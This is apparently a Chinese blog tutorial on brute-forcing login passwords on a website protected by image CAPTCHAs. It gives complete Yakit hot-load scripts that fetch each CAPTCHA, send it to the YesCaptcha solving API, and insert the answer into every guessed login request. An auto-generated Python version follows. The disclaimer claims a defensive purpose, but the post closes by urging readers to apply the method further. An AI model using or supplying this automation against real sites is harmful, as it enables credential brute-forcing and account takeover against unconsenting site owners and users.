通过yakit热加载与yescaptcha平台实现识别验证码爆破登录 (一)

免责声明


本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。


什么是yakit的热加载

广义上来说,热加载是一种允许在不停止或重启应用程序的情况下,动态加载或更新特定组件或模块的功能。这种技术常用于开发过程中,提高开发效率和用户体验。

具体的解释访问https://www.yaklang.comproducts/Web

yescaptcha平台是做什么的

YesCaptcha‌是一个提供验证码识别服务的平台,主要支持reCAPTCHA、HCaptcha、funcaptcha以及英文数字验证码等类型的验证码识别。用户可以通过该平台解决各种验证码问题,确保自动化脚本或机器人能够顺利通过验证,从而在开发、测试和自动化任务中发挥作用‌。官网http://www.yescaptcha.com

如何通过yakit热加载与yescaptcha平台实现识别验证码爆破登录

技术要求:

掌握yakit基础语法学习

 https://www.yaklang.com/docs/intro

图片

了解yescaptcha的开发者文档 

https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/63897603/YesCaptcha+API

图片

图片验证码工作原理

通过固定接口生成 通过yakit的抓包可以看出 也可以手动刷新查看

图片

实现方法

1.首先注册yescaptcha账户充值点数 各种验证码的价格 然后复制主页的key

图片

图片

图片

2.利用官方的文档编写识别函数 注:要求填入的是base64

图片

代码实现

由于不知道是我yakit的问题还是什么 我返回的json格式会多一个括号 添加了去一次括号的功能 

var image_txt = func(data) { 
    rsp, req = poc.HTTP(f`POST /createTask HTTP/1.1
Host: cn.yescaptcha.com
Content-Type: application/json

{
    "clientKey":"你的key",
    "task": {
        "type":"ImageToTextTaskTest",
        "body":"${data}"
    }
}`)~
    rspIns = poc.ParseBytesToHTTPResponse(rsp)~
    data = str.Replace(str.Replace(string(rspIns.Body), "{{", "{",1),"}}", "}",1)
    code = json.Find(data, "$.solution.text")
    return code
}
img = ""
print(image_txt(img))

图片

接下来插入数据 已经如图为例 成功识别正确的结果

图片

图片

3.了解验证码的格式和工作原理 以该cms为例 抓包得到验证码返回为非base64格式 所以在获取验证码返回包上要进行base64编码处理。

图片

代码实现

var jiema_http = func(input){
    rsp, req = poc.HTTP(f`GET /kaptcha/render HTTP/1.1
Host: xxxxxx
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: xxxxxxx
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
`)~
    rspIns = poc.ParseBytesToHTTPResponse(rsp)~
    data = codec.EncodeBase64(rspIns.Body)
    return data
}
print(jiema_http(1))

注意:此处的数据包中的参数建议复制全部 部分验证码验证cookie等参数

图片

图片

4.获取与识别联动

图片

5.融入热加载

在上代码的基础上添加占位符代码插入热加载中保存 并且设置发包线程为1

图片

图片

全部代码//解码-不定长度图片

//解码-不定长度图片
var image_txt = func(data) { 
    rsp, req = poc.HTTP(f`POST /createTask HTTP/1.1
Host: cn.yescaptcha.com
Content-Type: application/json
{
    "clientKey":"你的key",
    "task": {
        "type":"ImageToTextTaskTest",
        "body":"${data}"
    }
}`)~
    rspIns = poc.ParseBytesToHTTPResponse(rsp)~
    data = str.Replace(str.Replace(string(rspIns.Body), "{{", "{",1),"}}", "}",1)
    code = json.Find(data, "$.solution.text")
    return code
}

var jiema_http = func(input){
    rsp, req = poc.HTTP(f`GET /kaptcha/render HTTP/1.1
Host: xxxxxx
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: xxxxxx
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
`)~
    rspIns = poc.ParseBytesToHTTPResponse(rsp)~
    data = codec.EncodeBase64(rspIns.Body)
    return data
}
beforeRequest = func(req){
    code = image_txt(jiema_http(1))
    req = re.ReplaceAll(req, `__verify__`, code)
    return []byte(req)
}

爆破演示

验证码正确则返回erro 错误返回的是验证码错误

图片

图片

最后

本文讲了如何利用热加载进行用户账户密码爆破,看完的师傅们能举一反三去进行更多的使用。

### 如何使用Yakit实现验证码爆破 验证码通常用于防止自动化工具的滥用,增加了安全性。然而,在某些安全测试场景下,可能需要模拟攻击来评估系统的脆弱性。对于这需求,Yakit提供了套机制来进行验证码爆破。 #### 客户端请求验证码验证码生成过程中,每当用户尝试访问特定的功能页面时,服务器就会创建个新的验证码实例,并将其存储以便后续验证用户的输入是否匹配[^1]。此时可以通过编写脚本来自动获取这些动态变化的验证码图像或文本形式的数据。 ```python import requests def fetch_captcha(): url = 'http://example.com/getCaptcha' response = requests.get(url) with open('captcha.png', 'wb') as f: f.write(response.content) fetch_captcha() ``` 此代码片段展示了如何通过Python中的`requests`库向目标网站发起GET请求并下载最新的验证码图片到本地磁盘上。 #### 处理接收到的验证码 旦获得了验证码资源之后,则需要利用OCR(光学字符识别)或其他机器学习模型对其进行解析处理得到预期的结果字符串。如果涉及到图形化的挑战响应问题(CAPTCHA),则还需要额外训练专门针对此类模式设计的人工智能算法以提高成功率。 对于简单的字母数字组合型验证码来说,可以直接调用第三方API服务完成这项工作;而对于更复杂的图案类CAPTCHA,则建议采用深度神经网络架构如CNNs进行特征提取分类预测操作。 #### 发送带有猜测值的新请求 最后步就是把经过上述两步处理后的结果提交给服务器进行校验。这同样依赖于HTTP POST方法携带相应的表单字段参数传递过去等待反馈信息确认成功否。 ```python data = { 'username': 'test_user', 'password': 'test_password', 'captcha_code': parsed_captcha_value # 前面步骤获得的内容 } response = session.post(login_url, data=data) if "Welcome" in response.text: print("Login successful!") else: print("Failed to login.") ``` 以上示例说明了整个流程中最为关键的部分是如何构造有效的POST请求体以及判断最终认证状态的方式之。 为了使这个过程更加高效可靠,可以考虑引入多线程或多进程编程技巧加快速度减少延迟时间影响整体性能表现[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值